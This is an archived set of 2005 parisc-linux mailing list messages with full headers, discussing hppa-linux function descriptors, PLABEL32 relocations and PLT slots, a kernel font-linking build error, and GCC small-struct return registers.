> > > In shared libraries the function pointer is also allocated a PLT slot
> > > and an IPLT relocation. 
> > > 
> > > I don't understand the reasons for the allocation of a PLT slot if all
> > > references generated go through the local label word that has the
> > > PLABEL32 reloc, which now contains the address returned by
> > > _dl_make_ftpr.
> > 
> > There probably isn't a good reason.  Blame that on me not understanding
> > what I was doing when dhd and I hacked together ld and glibc hppa-linux
> > support.
> 
> I understand why you allocate a PLT slot, because function calls seem to
> go through the PLT only without reference to the PLABEL32 word (in
> shared libraries). This saves an indirection through the PLABEL32 word
> during a call. I believe this to be what is happening, and I verfiied it
> lightly.

I believe the PLT exists to support 'LTP and 'RTP relocations.
GCC doesn't generate these relocations as this support doesn't
work under HP-UX, although the HP-UX assembler manual describes
them.  GCC generates 32-bit plabels (deferred) when it encounters
a situation where a 'LTP/'RTP sequence would be desireable.  Thus,
we may not need the PLT slot.

I don't see that a level of indirection is being saved.  We either
go through the PLABEL32 word or the PLT.

I believe that GCC always create the PLABEL32 words in the data
section (definitely true for HP-UX) so that the word can be
successfully relocated when a shared library is loaded.

> I thought about this, and you are correct. Technically if the shared
> object can do a comparison then the symbol must have been global, and
> passed into the function.

I don't think this is correct.  It's theoretically possible to pass
two function pointers that both point to local functions in one object
and have the comparison done in another (shared) object.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.11 kernel trouble
Date: Wed, 9 Mar 2005 15:52:07 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <20050309155207.GA21986@parcelfarce.linux.theplanet.co.uk>
References: <BAY24-F182B0FC44FD328F86929F1D8510@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623690 12935 80.91.229.3 (22 Nov 2014 02:34:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan Prunk <janprunk@hotmail.com>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Mar 2005 15:52:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 09 Mar 2005 16:52:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C63287D6B7;
	Wed,  9 Mar 2005 08:53:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14503-07; Wed, 9 Mar 2005 08:53:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D9DDA7D6AA;
	Wed,  9 Mar 2005 08:53:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C44B57D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  9 Mar 2005 08:53:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14499-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 9 Mar 2005 08:53:15 -0700 (MST)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 436127D695
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  9 Mar 2005 08:53:15 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1D93Tk-00007a-A9; Wed, 09 Mar 2005 15:52:09 +0000
Content-Disposition: inline
In-Reply-To: <BAY24-F182B0FC44FD328F86929F1D8510@phx.gbl>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 13dEKh0qTlIv47eQeGhrSVVGU2poZZnr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22416

On Wed, Mar 09, 2005 at 11:12:51AM +0000, Jan Prunk wrote:
> I managed to install 2.6.11-pa2-defconfig from parisc CVS, but i noticed 
> that default config doesnt have IPv6 enabled?
> It boots well. But I need IPv6 support, so I compiled my own kernel. It 
> would be really good in the future if IPv6 was enabled in defconfigs, so 
> that I could easily download and update the kernels.
> 
> I downloaded 2.6.11-pa2 kernel from parisc CVS, but it gave me following 
> problems when compileing:
> CC      init/version.o
>  LD      init/built-in.o
>  LD      .tmp_vmlinux1
> drivers/built-in.o(.init.text+0x2f40): In function `sti_select_fbfont':
> : undefined reference to `find_font'
> drivers/built-in.o(.init.text+0x3040): In function `sti_select_fbfont':
> : undefined reference to `get_default_font'

Ah, figured it out.  We just needed to include font.o when we have
STI_CONSOLE selected but not FRAMEBUFFER_CONSOLE.  If you do a cvs update,
you should be able to build with your current config.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OPD's on hppa-linux,
	and what to do about __cffc's fragility.
Date: Thu, 10 Mar 2005 10:31:20 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20050310153120.GJ22872@baldric.uwo.ca>
References: <20050308175445.GV23803@baldric.uwo.ca>
	<200503081902.j28J2XMe002188@hiauly1.hia.nrc.ca>
	<20050308210851.GA23803@baldric.uwo.ca>
	<20050308222513.GF15642@bubble.modra.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623690 12937 80.91.229.3 (22 Nov 2014 02:34:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:50 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: Alan Modra <amodra@bigpond.net.au>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Mar 2005 15:31:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 10 Mar 2005 16:31:52 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B97B7D656;
	Thu, 10 Mar 2005 08:32:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19891-10; Thu, 10 Mar 2005 08:32:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C7F007D657;
	Thu, 10 Mar 2005 08:32:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D8347D655
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Mar 2005 08:32:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19893-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Mar 2005 08:32:40 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 968C87D654
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Mar 2005 08:32:40 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1D9PdA-0003yN-00; Thu, 10 Mar 2005 10:31:20 -0500
Content-Disposition: inline
In-Reply-To: <20050308222513.GF15642@bubble.modra.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (16% Sync Ratio [==........])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CwRbKp9zTlIv47eQeGhrSVVGU2poZRmo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22417

On Wed, Mar 09, 2005 at 08:55:13AM +1030, Alan Modra wrote:
> No, in an hppa-linux shared lib, a function pointer is accessed via a
> word with a PLABEL32 reloc on it.  This reloc is processed before any
> code in the shared lib runs, to point to a function descriptor created
> by _dl_make_fptr.

In shared libraries the function pointer is also allocated a PLT slot
and an IPLT relocation. 

I don't understand the reasons for the allocation of a PLT slot if all
references generated go through the local label word that has the
PLABEL32 reloc, which now contains the address returned by
_dl_make_ftpr.

I'm still trying to understand your earlier recommendation. Do you
suggest that the executable have PLABEL32 relocs for all the symbols,
local and global, which assures that _dl_make_fptr creates a unique OPD?

Alan, thanks for your input.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Runing small structs from functions.
Date: Thu, 10 Mar 2005 12:03:12 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20050310170312.GM22872@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623690 12938 80.91.229.3 (22 Nov 2014 02:34:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:50 +0000 (UTC)
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Mar 2005 17:03:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx028) with SMTP; 10 Mar 2005 18:03:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F06237D658;
	Thu, 10 Mar 2005 10:04:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20623-05; Thu, 10 Mar 2005 10:04:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A6F27D659;
	Thu, 10 Mar 2005 10:04:36 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9101D7D657
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Mar 2005 10:04:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20614-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Mar 2005 10:04:24 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 1D4287D656
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Mar 2005 10:04:24 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1D9R45-0004Qh-00; Thu, 10 Mar 2005 12:03:13 -0500
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (16% Sync Ratio [==........])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hhFbKg8MTlIv47eQeGhrSVVGU2poZdmV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22418


jda,

Currently the changes in the LA code for glibc mean that _dl_fixup
returns a small struct (function descriptor) to the trampoline.

Is it safe to assume that the small struct is always returned on ret0
and ret1? I ran some test programs and that seemed to be the case.

Cheers,
Carlos.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Runing small structs from functions.
Date: Thu, 10 Mar 2005 13:38:42 -0500 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <200503101838.j2AIcgqI018769@hiauly1.hia.nrc.ca>
References: <20050310170312.GM22872@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623691 12944 80.91.229.3 (22 Nov 2014 02:34:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Mar 2005 18:39:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx024) with SMTP; 10 Mar 2005 19:39:54 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4605F7D65D;
	Thu, 10 Mar 2005 11:40:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21396-02; Thu, 10 Mar 2005 11:40:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7CC207D65E;
	Thu, 10 Mar 2005 11:40:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCFF77D65C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Mar 2005 11:40:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21123-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Mar 2005 11:40:22 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5B1317D65B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Mar 2005 11:40:22 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j2AIchhF018771; Thu, 10 Mar 2005 13:38:44 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j2AIcgqI018769;
	Thu, 10 Mar 2005 13:38:42 -0500 (EST)
In-Reply-To: <20050310170312.GM22872@baldric.uwo.ca> from "Carlos O'Donell" at
	Mar 10, 2005 12:03:12 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HfhbKkRITlIv47eQeGhrSVVGU2poZZnm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22419

> Currently the changes in the LA code for glibc mean that _dl_fixup
> returns a small struct (function descriptor) to the trampoline.
> 
> Is it safe to assume that the small struct is always returned on ret0
> and ret1? I ran some test programs and that seemed to be the case.

This "should" work with 3.3 and later.  In previous versions, the
justification was wrong and possibly 5-8 byte structs were not
returned in ret0/ret1.  There is an incorrect code PR for a struct
with three shorts.  I believe this problem is fixed in GCC 4.0 and
later.  It would be safer if you explicitly pad the structs to 4
or 8 bytes.  I can't remember if old versions of GCC return 5-8
byte structs in ret0/ret1.  There was definitely a justification
problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OPD's on hppa-linux,
	and what to do about __cffc's fragility.
Date: Fri, 11 Mar 2005 08:57:51 +1030
Lines: 38
Approved: news@gmane.org
Message-ID: <20050310222751.GE7616@bubble.modra.org>
References: <20050308175445.GV23803@baldric.uwo.ca>
	<200503081902.j28J2XMe002188@hiauly1.hia.nrc.ca>
	<20050308210851.GA23803@baldric.uwo.ca>
	<20050308222513.GF15642@bubble.modra.org>
	<20050310153120.GJ22872@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623691 12945 80.91.229.3 (22 Nov 2014 02:34:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:51 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Mar 2005 22:28:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx061) with SMTP; 10 Mar 2005 23:28:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 98C5E7D65E;
	Thu, 10 Mar 2005 15:29:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21767-10; Thu, 10 Mar 2005 15:29:09 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A15697D659;
	Thu, 10 Mar 2005 15:29:08 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 50E7C7D656
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Mar 2005 15:29:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21767-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Mar 2005 15:29:05 -0700 (MST)
Original-Received: from modra.org (CPE-144-136-221-26.sa.bigpond.net.au
	[144.136.221.26])
	by free.linux.hp.com (Postfix) with ESMTP id 9EED87D654
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Mar 2005 15:29:05 -0700 (MST)
Original-Received: by bubble.modra.org (Postfix, from userid 500)
	id 918AF17336F; Fri, 11 Mar 2005 08:57:51 +1030 (CST)
Content-Disposition: inline
In-Reply-To: <20050310153120.GJ22872@baldric.uwo.ca>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZaZbKvc+TlIv47eQeGhrSVVGU2poZZmS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22420

On Thu, Mar 10, 2005 at 10:31:20AM -0500, Carlos O'Donell wrote:
> On Wed, Mar 09, 2005 at 08:55:13AM +1030, Alan Modra wrote:
> > No, in an hppa-linux shared lib, a function pointer is accessed via a
> > word with a PLABEL32 reloc on it.  This reloc is processed before any
> > code in the shared lib runs, to point to a function descriptor created
> > by _dl_make_fptr.
> 
> In shared libraries the function pointer is also allocated a PLT slot
> and an IPLT relocation. 
> 
> I don't understand the reasons for the allocation of a PLT slot if all
> references generated go through the local label word that has the
> PLABEL32 reloc, which now contains the address returned by
> _dl_make_ftpr.

There probably isn't a good reason.  Blame that on me not understanding
what I was doing when dhd and I hacked together ld and glibc hppa-linux
support.

> I'm still trying to understand your earlier recommendation. Do you
> suggest that the executable have PLABEL32 relocs for all the symbols,
> local and global, which assures that _dl_make_fptr creates a unique OPD?

I was really just thinking of global symbols.  If ld handles descriptors
for locals, you save on dynamic relocs and program startup time.  I
haven't spent a great deal of time thinking about it though, so it's
highly likely that there is some reason why it won't work.  eg. You
wouldn't want dynamic plabel relocs to appear in read-only sections.

